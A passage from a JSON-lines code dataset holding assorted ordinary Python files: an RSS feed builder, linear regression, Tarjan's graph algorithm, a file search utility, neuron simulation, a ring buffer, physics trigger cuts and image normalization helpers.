podcast[\"name\"],\n \"description\": podcast[\"description\"],\n \"language\": \"en-us\",\n \"docs\": \"http://www.rssboard.org/rss-specification\",\n \"generator\": \"myself\",\n \"lastBuildDate\": datetime.now().ctime(),\n }\n for t, v in bare_tags.items():\n tag = doc.new_tag(t)\n tag.string = v\n channel.append(tag)\n\n # Links\n link = podcast[\"url\"]\n lt = doc.new_tag(\"link\")\n lt.string = link\n channel.append(lt)\n\n lta = doc.new_tag(\"atom:link\", href=link, rel=\"self\")\n channel.append(lta)\n\n # iTunes category and friends\n cat = doc.new_tag(\"itunes:category\", text=\"Technology\")\n cat.append(doc.new_tag(\"itunes:category\", text=\"Podcasting\"))\n channel.append(cat)\n\n channel.append(\n doc.new_tag(\n \"itunes:image\",\n href=\"https://timbrook-podcast.sfo2.digitaloceanspaces.com/podcover.png\",\n )\n )\n expl = doc.new_tag(\"itunes:explicit\")\n expl.string = \"yes\"\n channel.append(expl)\n\n # Episodes\n for ep in podcast[\"episodes\"]:\n channel.append(populate_episode(doc, ep))\n\n return channel\n","sub_path":"podcast/src/podcast.py","file_name":"podcast.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"239171709","text":"import numpy as np\nimport csv\nfrom matplotlib.pylab import scatter, show\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n\ndef readCSV(path):\n return np.genfromtxt(path, delimiter=',')\n\ndef addOne(matrix):\n x = 1\n return np.hstack(([[x]] * len(matrix), matrix))\n\ndef getXandY(matrix):\n ylen, xlen = matrix.shape\n y = matrix[:,xlen-1]\n X = matrix[:,range(0,xlen-1)]\n\n return X, y\n\ndef linearRegression(X, y):\n Xt = X.transpose()\n w = np.linalg.inv(Xt.dot(X)).dot(Xt).dot(y)\n return w\n\ndef graph2d(formula, x_range, matrixTrain, matrixTest, w):\n x = np.array(x_range)\n y = formula(x,w)\n plt.plot(x, y)\n plt.scatter(matrixTrain[:,0], matrixTrain[:,1], marker='o', c='r')\n plt.scatter(matrixTest[:,0], matrixTest[:,1], marker='^', c='g')\n plt.show()\n\ndef graph3d(formula, x1_range, x2_range, matrixTest, matrixTrain, w):\n x1, x2 = np.meshgrid(x1_range, x2_range)\n z = w[2]*x2 + w[1] * x1 + w[0]\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n ax.plot_surface(x1, x2, z, antialiased=True, alpha=0.2)\n ax.scatter( matrixTest[:,0], matrixTest[:,1], matrixTest[:,2], marker='^', c='g', label='test set', alpha=1)\n ax.scatter( matrixTrain[:, 0], matrixTrain[:, 1], matrixTrain[:, 2], marker='o', c='r', label='training set', alpha=1)\n ax.set_xlabel('x1')\n ax.set_ylabel('x2')\n ax.set_zlabel('h(x1, x2)')\n plt.show()\n\ndef firstdegreeformula(x, w):\n return w[1]*x + w[0]\n\ndef seconddegreeformula(x1, x2, w):\n return w[2]*x2 + w[1] * x1 + w[0]\n\ndef meansquarederror(matrix, w):\n X, y = getXandY(matrix)\n mse = (np.linalg.norm((X.dot(w[range(1,len(w))])-y))**2)/len(y)\n print(mse)\n\n\n#array = addOne(readCSV('datasets/regression/reg-1d-test.csv'))\nmatrixTrain = readCSV('datasets/regression/reg-1d-train.csv')\nmatrixTrain = addOne(matrixTrain)\nX, y = getXandY(matrixTrain)\nw = linearRegression(X, y)\nmatrixTest = readCSV('datasets/regression/reg-1d-test.csv')\nmatrixTrain = readCSV('datasets/regression/reg-1d-train.csv')\ngraph2d(firstdegreeformula, np.arange(0, 1, 0.01), matrixTest, matrixTrain, w)\nprint('1D weights')\nprint(w)\nprint('MSE test, train 1D')\nmeansquarederror(matrixTest, w)\nmeansquarederror(matrixTrain, w)\n\nmatrixTrain = readCSV('datasets/regression/reg-2d-train.csv')\nmatrixTrain = addOne(matrixTrain)\nX, y = getXandY(matrixTrain)\nw = linearRegression(X, y)\nprint('2D weights')\nprint(w)\nmatrixTest = readCSV('datasets/regression/reg-2d-test.csv')\nmatrixTrain = readCSV('datasets/regression/reg-2d-train.csv') #I'm lazy, so instead of removing/ignoring the column of 1's, I just re-read the file\ngraph3d(seconddegreeformula, np.arange(0, 1, 0.01), np.arange(0,1, 0.01), matrixTest, matrixTrain, w)\nprint('MSE test, train 2D')\nmeansquarederror(matrixTest, w)\nmeansquarederror(matrixTrain, w)\n\n","sub_path":"Assignment1/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"455964644","text":"# https://zhuanlan.zhihu.com/p/161537289\n\nclass HashTable: # 边表\n def __init__(self, edges: list, undirected: bool, n: int):\n self.hash_map = {}\n for i in range(n):\n self.hash_map.setdefault(i, set())\n for edge in edges:\n self.hash_map[edge[0]].add(edge[1])\n if (undirected): # 无向图\n self.hash_map[edge[1]].add(edge[0])\n\n\nSCC = 1\nCUT = 2\n\n\nclass Tarjan:\n # 强连通分量Strong Connected Component,简称SCC\n # 割点/边问题Cut Point/Edge\n def __init__(self, n: int, edges: list):\n self.n = n\n self.edges = [None, None, None]\n self.edges[SCC] = HashTable(edges, False, n)\n self.edges[CUT] = HashTable(edges, True, n)\n self.stack = []\n self.dfn = [0 for _ in range(self.n)]\n self.low = [0 for _ in range(self.n)]\n self.index = 0\n self.answer_set = [] # 最终的SCC群\n self.answer_point = set() # 最终的割点\n self.answer_edge = set() # 最终的割边\n self.mode = 0 # 为了方便对照,两个问题使用mode变量区分,1为SCC,2为割点边\n\n def reload(self): # 重置\n self.stack = []\n self.dfn = [0 for _ in range(self.n)]\n self.low = [0 for _ in range(self.n)]\n self.index = 0\n self.answer_set = []\n self.answer_point = set()\n self.answer_edge = set()\n\n def scc(self): # 强连通分量\n self.mode = 1\n for i in range(self.n): # 防止漏点\n if (self.dfn[i]):\n continue\n self.targan(i, i)\n\n def cut_point_and_cut_edge(self): # 割点/边问题\n self.mode = 2\n for i in range(self.n): # 防止漏点(其实这是句废话,初始图不是连通的是啥情况?)\n if (self.dfn[i]):\n continue\n self.targan(i, i)\n\n def targan(self, now: int, father: int):\n self.index += 1 # 访问时间戳加1\n self.dfn[now] = self.low[now] = self.index # 初始化当前节点的DFN和LOW\n\n if (self.mode == SCC):\n self.stack.append(now) # 压栈\n\n child_cnt = 0\n for i in self.edges[self.mode].hash_map[now]: # 枚举边所能到的点\n if (self.dfn[i]): # 已经被处理过\n if (i in self.stack and self.mode == SCC): # 如果i在栈内,now点能到达的最小时间戳是它自己能到达点的最小时间戳和i的时间戳的min\n self.low[now] = min(self.low[now], self.dfn[i])\n # 关于为什么是dfn[i],这是因为low[i]可能被搜索树的其它子树更新过了,而\n # dfn[i]并不会改变,在强连通分量里,这里改成now[i]没有任何问题,因为强连通分量只关注是不是同一个连通集合,但割点问题不行!\n # 割点问题关心的是子树而不是集合,如果改成low[i]会导致子树的low和父树的low一致,导致子树合二为一,从而使得原本子树多于2的子节点无法被找到,从而出现遗漏\n\n if (self.mode == CUT):\n if (i == father): # 注意不能回头\n continue\n self.low[now] = min(self.low[now], self.dfn[i])\n\n else: # 没被处理过\n child_cnt += 1\n self.targan(i, now) # DFS的本质\n self.low[now] = min(self.low[now], self.low[i])\n\n if (self.mode == SCC):\n # 所有的边都访问过后,检查是否为强连通分量根节点(low == dfn)\n if (self.low[now] == self.dfn[now]):\n scc = set()\n while (self.stack[-1] != now): # 开始弹栈\n scc.add(self.stack.pop())\n scc.add(self.stack.pop()) # 不要忘记了它自己\n self.answer_set.append(scc)\n\n if (self.mode == CUT):\n # 所有的边都访问过后,检查周围是否有low[i] > dfn[now]\n if (child_cnt >= 2 and father == now): # 是根且子树多于2个,有割点没割边\n self.answer_point.add(now)\n for i in self.edges[self.mode].hash_map[now]:\n if (self.low[i] >= self.dfn[now] and father != now): # 有割点没割边 注意不能是根节点\n self.answer_point.add(now)\n if (self.low[i] > self.dfn[now]):\n self.answer_edge.add((now, i))\n\n\nif __name__ == '__main__':\n edges = [[0, 2], [2, 1], [1, 0], [2, 3], [3, 4], [4, 5], [3, 6], [6, 2], [2, 7], [7, 6]]\n # edges = [[0, 1], [1, 2], [2, 3], [1, 4], [4, 0], [0, 5], [5, 4], [0, 6], [6, 7], [7, 0]]\n test = Tarjan(8, edges)\n # 强连通分量\n test.scc()\n print(\"强连通分量个数:\", len(test.answer_set), \"\\n所有的强连通分量:\", test.answer_set, \"\\n\")\n assert test.answer_set == [{5}, {4}, {0, 1, 2, 3, 6, 7}]\n\n test.reload()\n # 割点/边问题\n test.cut_point_and_cut_edge()\n print(\"割点集合:\", test.answer_point, \"\\n割边集合:\", test.answer_edge)\n assert test.answer_point == {2, 3, 4}\n assert test.answer_edge == {(4, 5), (3, 4)}\n","sub_path":"python/graph/tarjan.py","file_name":"tarjan.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"581821071","text":"from pathlib import Path\nimport shutil\nimport os\n\n'''\n/Users/qiangkejia/Desktop/Study/2018 Fall/ICS 32A/project1/\n'''\n\ndef openfile(address) -> str:\n '''Opens a given address file then retunrs content as String'''\n filePath = Path(address)\n content = open(filePath,\"r\",encoding = \"utf-8\").read()\n return content\n\ndef printAllDict(address) -> list:\n '''Marks all files in given address except for subdirectories. Returns files list'''\n res = []\n for file in Path(address).iterdir():\n if file.is_file() == True:\n res.append(file)\n return res\n\ndef printAllRcrs(address) -> list:\n '''Marks all files in given address including subdirectories. Returns files list'''\n res = []\n temp = []\n for item in Path(address).iterdir():\n if item.is_file():\n res.append(item)\n\n sub = []\n \n for item in Path(address).iterdir():\n if item.is_dir():\n temp = printAllRcrs(item)\n sub = sub + temp\n\n res = res + sub\n \n return res\n\ndef searchForName(name:str,lis:list) -> list:\n '''Searchs files in given list for given name, returns files list'''\n res = []\n for item in lis:\n if item.name == name:\n res.append(item)\n return res\n\ndef searchForExt(extension:str,lis:list) -> list:\n '''Searchs files in given list for given extension, returns files list'''\n res = []\n for item in lis:\n if (item.suffix)[1:] == extension:\n res.append(item)\n return res\n\ndef searchForTxt(param:str,lis:list) -> list:\n '''Searchs file contents in given list for given text, returns file list'''\n res = []\n temp = \"\"\n for item in lis:\n try:\n temp = openfile(str(item))\n except:\n temp = \"\"\n if temp.find(param) >= 0:\n res.append(item)\n return res\n\ndef searchForSiz(size:int,mode:int,lis:list) -> list:\n '''Searchs files in given list for qualified file size, returns file list.'''\n '''mode == 0 -> bigger; mode == 1 -> smaller'''\n res = []\n if mode == 0:\n for item in lis:\n if int(item.stat()[6]) > size:\n res.append(item)\n else:\n for item in lis:\n if int(item.stat()[6]) < size:\n res.append(item)\n return res\n\ndef printFirst(lis:list) -> list:\n '''Prints first line of content in given files'''\n res = []\n temp = \"\"\n for item in lis:\n try:\n instream = open(Path(str(item)),'r',encoding = 'utf-8')\n first = instream.readline()\n if first.find('\\n') >= 0:\n first = first[:-1]\n res.append(first)\n except:\n res.append(\"NOT_TEXT\")\n\n return res\n\ndef copyFile(lis:list):\n '''Copys files in given list'''\n for item in lis:\n shutil.copyfile(str(item),str(item)+\".dup\")\n\ndef touchFile(lis:list):\n '''Modifies last modified timestamp of given files list'''\n for item in lis:\n os.utime(str(item),None)\n\n\nif __name__ == '__main__':\n #program starts\n instream = \"\"\n while True:\n instream = input()\n if (instream.split()[0] == 'D' or instream.split()[0] == 'R') and (len(instream)>2):\n break\n else:\n print(\"ERROR\")\n\n src = \"\"\n for item in instream.split()[1:]:\n src = src + item + \" \"\n src = src[:-1]\n #deal with blanks in path, determine action and target path\n\n origin = []\n #this list is used to store considered files as class Path.\n \n if instream.split()[0] == 'D':\n res = printAllDict(src)\n origin = res[:]\n for item in origin:\n print(str(item))\n else:\n res = printAllRcrs(src)\n origin = res[:]\n for item in origin:\n print(item)\n\n \n #if none file is interesting, end program.\n if len(origin) == 0:\n exit()\n\n filt = \"\"\n #select search type\n while True:\n filt = input()\n temp = filt.split()[0]\n if temp == 'A':\n break\n if (temp == 'N' or temp == 'E' or temp == 'T' or temp == '<' or temp == '>') and ( len (filt.split()) > 1):\n break\n else:\n print(\"ERROR\")\n\n if filt.split()[0] == 'A':\n for i in origin:\n print(str(i))\n\n if filt.split()[0] == 'N':\n #deals with blanks in names\n name = filt[2:]\n res = searchForName(name,origin)\n origin = res[:]\n for i in origin:\n print(str(i))\n\n if filt.split()[0] == 'E':\n extension = \"\"\n if filt.split()[1].find('.')>=0:\n extension = filt.split()[1][1:]\n else:\n extension = filt.split()[1]\n res = searchForExt(extension,origin)\n origin = res[:]\n for i in origin:\n print(str(i))\n\n if filt.split()[0] == 'T':\n param = filt[2:]\n res = searchForTxt(param,origin)\n origin = res[:]\n for i in origin:\n print(str(i))\n\n if filt.split()[0] == '>' or filt.split()[0] == '<':\n siz = int(filt.split()[1])\n if filt.split()[0] == '>':\n res = searchForSiz(siz,0,origin)\n origin = res[:]\n else:\n res = searchForSiz(siz,1,origin)\n origin = res[:]\n for i in origin:\n print(str(i))\n\n\n \n if len(origin) == 0:\n exit()\n\n\n \n action = \"\"\n #select action\n while True:\n action = input()\n if action == 'F' or action == 'D' or action == 'T':\n break\n else:\n print(\"ERROR\")\n\n if action == 'F':\n for i in printFirst(origin):\n print(str(i))\n\n if action == 'D':\n copyFile(origin)\n\n if action == 'T':\n touchFile(origin)\n\n #program ends\n\n","sub_path":"project1.py","file_name":"project1.py","file_ext":"py","file_size_in_byte":5788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"556890113","text":"'''\r\n\r\nIntroduction to Brian part 3: Simulations\r\n\r\nSimulating spikes using Brian\r\n\r\nhttps://github.com/brian-team/brian2/blob/master/tutorials/3-intro-to-brian-simulations.ipynb\r\n\r\n\r\n\r\n'''\r\n\r\nimport numpy as np\r\nimport math\r\nimport random\r\nimport matplotlib.pyplot as plt\r\nfrom brian2 import *\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n A = 2.5\r\n f = 10 * Hz\r\n tau = 5 * ms\r\n\r\n num_samples = int(200 * ms / defaultclock.dt)\r\n\r\n I_arr = np.zeros(num_samples)\r\n\r\n print(len(I_arr))\r\n\r\n for _ in range(100):\r\n\r\n a = randint(num_samples)\r\n I_arr[a : a + 100] = rand()\r\n\r\n I_rec = TimedArray(A * I_arr / 12 , dt = defaultclock.dt)\r\n\r\n eqs = '''\r\n \r\n dv/dt = (I - v)/tau : 1\r\n I = I_rec(t) : 1\r\n \r\n '''\r\n\r\n G = NeuronGroup(1 ,\r\n eqs ,\r\n threshold = 'v > 1' ,\r\n reset = 'v = 0',\r\n method = 'exact'\r\n )\r\n\r\n M = StateMonitor(G, variables = True , record = True)\r\n\r\n run(200 * ms)\r\n\r\n cur = [I_rec(i * ms) for i in range(100)]\r\n print(cur)\r\n\r\n plt.plot(M.t/ms , M.v[0] , label = 'v')\r\n plt.plot(M.t/ms , M.I[0] , label = 'I')\r\n plt.xlabel('Time (ms)')\r\n plt.ylabel('v')\r\n plt.legend(loc = 'best')\r\n plt.show()\r\n \r\n","sub_path":"b_snn_timedarray.py","file_name":"b_snn_timedarray.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"359664676","text":"#FiFo - Circular Queue - Capacity of 5 in test\nclass RingBuffer:\n def __init__(self, capacity):\n self.queue = []\n self.capacity = capacity\n self.indexToOverwrite = 0 #FiFo, where 0 will be first item\n\n def append(self, item):\n queueSize = len(self.queue)\n if queueSize < self.capacity:\n self.queue.append(item)\n else: #if queueSize is at capacity:\n self.queue[self.indexToOverwrite] = item\n self.indexToOverwrite += 1\n\n #check to see if indexToOverwrite needs to be reset\n if self.indexToOverwrite == self.capacity:\n self.indexToOverwrite = 0\n\n def get(self):\n return self.queue","sub_path":"ring_buffer/ring_buffer.py","file_name":"ring_buffer.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"83229732","text":"#!python2\n# coding=utf-8\nimport re\n\nimport obj_data\n\n\ndef ignores(line=\"\", separator=None, skip=None):\n line = line.strip()\n if separator:\n words = re.split(separator, line)\n if skip:\n skips = [eval(x) for x in re.split(\",\", skip)]\n for i in skips:\n if len(words) > i + 1:\n del words[i]\n line = separator.join(words)\n return line\n\n\nclass FileCompare(object):\n def __init__(self):\n\n self.diff_report_path = \"\"\n self.src_file = \"\"\n self.dst_file = \"\"\n self.diff_report_file = \"\"\n\n def common_diff(self, separator=\"\", skips=\"\"):\n \"\"\"\n compare two logfile with the original content\n :return: output_file\n \"\"\"\n list_dst = open(self.dst_file).readlines()\n list_src = [ignores(x, separator, skips) for x in open(self.src_file).readlines()]\n with open(self.diff_report_file, 'w') as f:\n for line in list_dst:\n if ignores(line, separator, skips) not in list_src:\n f.write(line)\n print(\"compare %s and %s, output to %s\" % (self.src_file, self.dst_file, self.diff_report_file))\n return self.diff_report_file\n\n def csv_diff_from_to(self, col_key, col_value):\n list_src = obj_data.read_csv_to_data(self.src_file)\n list_dst = obj_data.read_csv_to_data(self.dst_file)\n data = []\n dict_src = obj_data.make_data_to_dict(list_src, [col_key], [col_value])\n for words in list_dst:\n if words[col_key] in dict_src:\n value_src = dict_src[words[col_key]][0]\n else:\n value_src = \"\"\n if value_src != words[col_value]:\n data.append([words[col_key], value_src, words[col_value]])\n if data:\n data_head = [[list_src[0][col_key], \"from_\" + list_src[0][col_value], \"to_\" + list_dst[0][col_value]]]\n data_head.extend(data)\n\n else:\n data_head = []\n obj_data.write_data_to_csv(data_head, self.diff_report_file)\n print(\"compare %s and %s, output to %s\" % (self.src_file, self.dst_file, self.diff_report_file))\n return self.diff_report_file\n\n\nif __name__ == '__main__':\n # pass\n compare = FileCompare()\n # compare.src_file = \"/home/ejungwa/hcTool/log/11-13/temp/grep_altc.csv\"\n # compare.dst_file = \"/home/ejungwa/hcTool/log/13-01/temp/grep_altc.csv\"\n # # compare active alarm, ignore date,time,AlarmId,NotificationId\n # compare.common_diff(separator=\",\", skips=\"2,1,-2,-1\")\n # # compare history alarm, ignore Status,Duration\n # compare.src_file = \"/home/ejungwa/hcTool/log/11-13/temp/grep_lgjc.csv\"\n # compare.dst_file = \"/home/ejungwa/hcTool/log/13-01/temp/grep_lgjc.csv\"\n # compare.common_diff(separator=\",\", skips=\"5,4\")\n # compare sw_version, output to csv format\n compare.src_file = \"/home/ejungwa/hcTool/log/20201118232341/temp/pre_invxc_SW.csv\"\n compare.dst_file = \"/home/ejungwa/hcTool/log/20201122010228/temp/invxc_SW.csv\"\n compare.diff_report_file = \"/home/ejungwa/hcTool/report/diff_invxc_SW.csv\"\n compare.csv_diff_from_to(0, 1)\n # # compare common log file\n # compare.src_file = \"/home/ejungwa/hcTool/log/11-13/temp/grep_lggc.csv\"\n # compare.dst_file = \"/home/ejungwa/hcTool/log/13-01/temp/grep_lggc.csv\"\n # compare.common_diff()\n","sub_path":"CodeLibrary/PYTH/obj_file_compare.py","file_name":"obj_file_compare.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"311348251","text":"import networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nimport graph_util as gu\r\n\r\ndef load_graph_df(file_names):\r\n li = []\r\n\r\n for f in file_names:\r\n tmp = pd.read_csv(f)\r\n li.append(tmp)\r\n\r\n df = pd.concat(li, axis=0, ignore_index=True)\r\n return df\r\n\r\n\r\ndef get_adj_list(df, source_col, target_col):\r\n\r\n nodes = set(df[source_col].tolist()) | set(df[target_col].tolist())\r\n n = len(nodes)\r\n node_to_index = {}\r\n i = 0\r\n for node in nodes:\r\n node_to_index[node] = i\r\n i += 1\r\n\r\n source_to_index = {}\r\n adj_list = []\r\n for index, row in df.iterrows():\r\n s = node_to_index[row['Source']]\r\n t = node_to_index[row['Target']]\r\n if s not in source_to_index:\r\n source_to_index[s] = len(adj_list)\r\n adj_list.append([s]) #Add head to the list\r\n adj_list[source_to_index[s]].append(t)\r\n\r\n return node_to_index, adj_list\r\n\r\n\r\ndef multiply(head_to_index, adj_list, vec):\r\n \"\"\"Performs the operation transpose(A)x, where A is represented by adj_list and x by vec\"\"\"\r\n res = np.zeros(vec.shape)\r\n for head in range(len(vec)):\r\n if vec[head] > 0:\r\n if head in head_to_index:\r\n idx = head_to_index[head]\r\n for tail in adj_list[idx][1:]:\r\n res[tail] += 1\r\n return res\r\n\r\n\r\ndef bfs_matrix(n, adj_list, s, t, labels, verbose=False):\r\n\r\n i = 0\r\n head_to_index = {}\r\n for l in adj_list:\r\n head = l[0]\r\n head_to_index[head] = i\r\n i += 1\r\n\r\n visited = np.zeros(n)\r\n visited[s] = 1\r\n frontier = visited\r\n\r\n for i in range(n):\r\n #Calculate the new frontier: the neighbors of the current frontier\r\n frontier = multiply(head_to_index, adj_list, frontier)\r\n #Discard what has been visited\r\n frontier = np.array(np.logical_and(frontier, np.logical_not(visited)), dtype='int32')\r\n\r\n indexes = (np.nonzero(frontier))[0] #Index 0 to discard the tuple result of np.nonzero function\r\n\r\n if verbose:\r\n print('Iteration:', i)\r\n for idx in indexes[:-1]:\r\n print(labels[idx], end=', ')\r\n print(labels[indexes[-1]])\r\n\r\n if len(indexes) == 0:\r\n break\r\n\r\n visited[indexes] = np.ones(len(indexes))\r\n if visited[t] > 0:\r\n return True\r\n\r\n return False\r\n\r\n\r\ndf = load_graph_df([\"stormofswords.csv\"])\r\ndf = df[['Source', 'Target']] #Discard weights for BFS\r\ndf.drop_duplicates(subset=['Source', 'Target'], inplace=True)\r\n\r\nnode_to_index, adj_list = get_adj_list(df, 'Source', 'Target')\r\nindex_to_node = [node for node in node_to_index.keys()]\r\ns = node_to_index['Cersei']\r\nt = node_to_index['Melisandre']\r\n#print(bfs_matrix(len(node_to_index), adj_list, s, t, index_to_node, verbose=True))\r\n\r\n\r\nprint(gu.dfs_matrix(len(node_to_index), adj_list, s, t, index_to_node, verbose=True))","sub_path":"homework1/1_bfs_matrix.py","file_name":"1_bfs_matrix.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"40477083","text":"from GaudiKernel.SystemOfUnits import GeV, MeV, picosecond, mrad\n\ndef mass_cuts(motherMasses, massWindow = 75, aMassExtra = 10.) :\n if not hasattr(motherMasses, '__iter__') :\n motherMasses = (motherMasses,)\n motherMassMin = min(motherMasses) - massWindow\n motherMassMax = max(motherMasses) + massWindow\n return {\n 'AM_MIN' : motherMassMin - aMassExtra,\n 'AM_MAX' : motherMassMax + aMassExtra,\n 'Mass_M_MIN' : motherMassMin,\n 'Mass_M_MAX' : motherMassMax,\n }\n\nclass CharmHadHc2HHHHLines() :\n def localcuts(self) :\n Xic0OmegacMasses = (2471., 2695.)\n Xic0OmegacMassCuts = mass_cuts(Xic0OmegacMasses)\n cuts = {\n 'Xic0ToPpKmKmPip_LTUNBTurbo' : \n dict(TisTosSpec = \"Hlt1Track.*Decision%TIS\",\n BPVLTIME_MIN = 0.1*picosecond, \n acosBPVDIRA_MAX = 317.6 * mrad,\n ASUMPT_MIN = 3000.*MeV,\n **Xic0OmegacMassCuts),\n 'Xic0ToPpKmKmPipTurbo' : \n dict(#Trk_ALL_TRCHI2DOF_MAX = , # defined in Common.\n Trk_ALL_PT_MIN = 500.*MeV,\n #Trk_ALL_P_MIN = , # defined in Common.\n Trk_ALL_MIPCHI2DV_MIN = 4.0,\n ASUMPT_MIN = 3000.*MeV,\n Trk_1OF4_PT_MIN = 1000.*MeV, \n Trk_2OF4_PT_MIN = 500.*MeV,\n Trk_1OF4_MIPCHI2DV_MIN = 8.0,\n Trk_2OF4_MIPCHI2DV_MIN = 6.0,\n #VCHI2PDOF_MAX = , # defined in Common.\n acosBPVDIRA_MAX = 10.0 * mrad,\n BPVVDCHI2_MIN = 10.0,\n BPVLTIME_MIN = 0.1 * picosecond,\n **Xic0OmegacMassCuts),\n 'PentaPhiPimPp' : {\n 'Trk_ALL_PT_MIN' : 250 * MeV,\n 'Trk_ALL_MIPCHI2DV_MIN' : 3,\n 'AM12_MAX' : 1050.0 * MeV,\n 'AM_4' : (139.5) * MeV,\n 'AM_MIN' : 2700 * MeV,\n 'AM_MAX' : 2930 * MeV,\n 'ASUMPT_MIN' : 1980.0 * MeV,\n 'ACHI2DOCA_MAX' : 10.0,\n 'VCHI2PDOF_MAX' : 12.0,\n 'acosBPVDIRA_MAX' : 20.0 * mrad,\n 'BPVLTIME_MIN' : 0.3*picosecond,\n 'PT_MIN' : 2000 * MeV,\n 'IPCHI2_MAX' : 15.0,\n 'Mass_M_MIN' : 2720 * MeV,\n 'Mass_M_MAX' : 2915 * MeV,\n }\n }\n return cuts\n\n def locallines(self) :\n from Stages import MassFilter, Xic02PKKPi_LTUNB, Xic02PKKPi\n from Stages import PentaPhiPimPp\n \n PentaPhiPimPpFilt = MassFilter('Filt' , inputs = [ PentaPhiPimPp ]\n , nickname = 'PentaPhiPimPp')\n \n stages = {\n 'Xic0ToPpKmKmPip_LTUNBTurbo' : [MassFilter('Xic0ToPpKmKmPip_LTUNBTurbo',\n inputs = [Xic02PKKPi_LTUNB('Xic0ToPpKmKmPip_LTUNBTurbo')],\n reFitPVs = True)],\n 'Xic0ToPpKmKmPipTurbo' : [MassFilter('Xic0ToPpKmKmPipTurbo',\n inputs = [Xic02PKKPi],\n reFitPVs = True)],\n 'PentaToPhiPpPimTurbo' : [PentaPhiPimPpFilt],\n }\n return stages\n","sub_path":"Hlt/Hlt/Hlt2Lines/python/Hlt2Lines/CharmHad/Hc2HHHHLines.py","file_name":"Hc2HHHHLines.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"42544739","text":"from Hamiltonian import *\ndef S_wave():\n p1=Point(scope='WG',site=0,rcoord=[0.0],icoord=[0.0],struct=Fermi(norbital=1,nspin=2,nnambu=2))\n a1=array([1.0])\n a=TBA(\n name= 'WG',\n lattice= Lattice(name='WG',points=[p1],vectors=[a1]),\n terms=[ Hopping('t1',-1.0),\n Hopping('t2',0.1j,indexpackages=sigmay('sp'),amplitude=lambda bond: 1 if bond.rcoord[0]>0 else -1),\n Onsite('mu',0.0,indexpackages=sigmay('sp')),\n Pairing('delta',0.1,neighbour=0,indexpackages=sigmay('sp')*1.0j)\n ],\n nambu= True\n )\n a.addapps('EB',EB(path=line_1d(nk=1000),save_data=False,run=TBAEB))\n a.addapps('DOS',DOS(BZ=line_1d(nk=10000),delta=0.01,ne=400,save_data=False,run=TBADOS))\n a.runapps()\n\nif __name__=='__main__':\n S_wave()\n","sub_path":"Misc/S_wave.py","file_name":"S_wave.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"546371849","text":"from loguru import logger\n\n\nlogger.add(\"out.log\", backtrace=True, diagnose=True) # Caution, may leak sensitive data in prod\n\ndef func(a, b):\n return a / b\n\ndef nested(c):\n try:\n func(5, c)\n except ZeroDivisionError:\n logger.exception(\"What?!\")\n\nnested(0)\n\n","sub_path":"go.py","file_name":"go.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"176502799","text":"\"\"\"\nOpenHack module with file manipulation functions.\n\"\"\"\nimport os\nimport glob\nimport numpy as np\n#import cv2\nfrom PIL import Image, ImageDraw\nfrom scipy import misc\n\n\nSIZE = 128, 128\n\n\ndef target_file(infile, target_folder):\n folder = \"{}/{}/\".format(os.path.dirname(infile), target_folder)\n if not os.path.isdir(folder):\n os.mkdir(folder)\n filename = os.path.basename(infile)\n return \"{}{}\".format(folder, filename)\n\n\ndef normalize(arr):\n \"\"\"\n Linear normalization\n http://en.wikipedia.org/wiki/Normalization_%28image_processing%29\n \"\"\"\n arr = arr.astype('float')\n # Do not touch the alpha channel\n for i in range(3):\n minval = arr[...,i].min()\n maxval = arr[...,i].max()\n if minval != maxval:\n arr[...,i] -= minval\n arr[...,i] *= (255.0/(maxval-minval))\n return arr\n\n\ndef join_images(base_img, im):\n img_w, img_h = im.size\n bg_w, bg_h = base_img.size\n offset = ((bg_w - img_w) // 2, (bg_h - img_h) // 2)\n base_img.paste(im, offset)\n return base_img\n\n\ndef normalize_image(infile):\n img = Image.open(infile).convert('RGBA')\n arr = np.array(img)\n new_img = Image.fromarray(normalize(arr).astype('uint8'),'RGBA')\n return new_img\n\n\ndef create_normalized_thumbnails(images): \n base_img = Image.new(\"RGB\", SIZE, color=\"white\")\n for index, infile in enumerate(glob.glob(images)):\n target = target_file(infile, \"normalized\")\n im = normalize_image(infile)\n im.thumbnail(SIZE)\n \n image = join_images(base_img.copy(), im)\n image.save(target)","sub_path":"openhack/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"574136547","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 17 20:33:28 2019\r\n\r\n@author: gpang\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport time\r\nfrom SALib.sample import 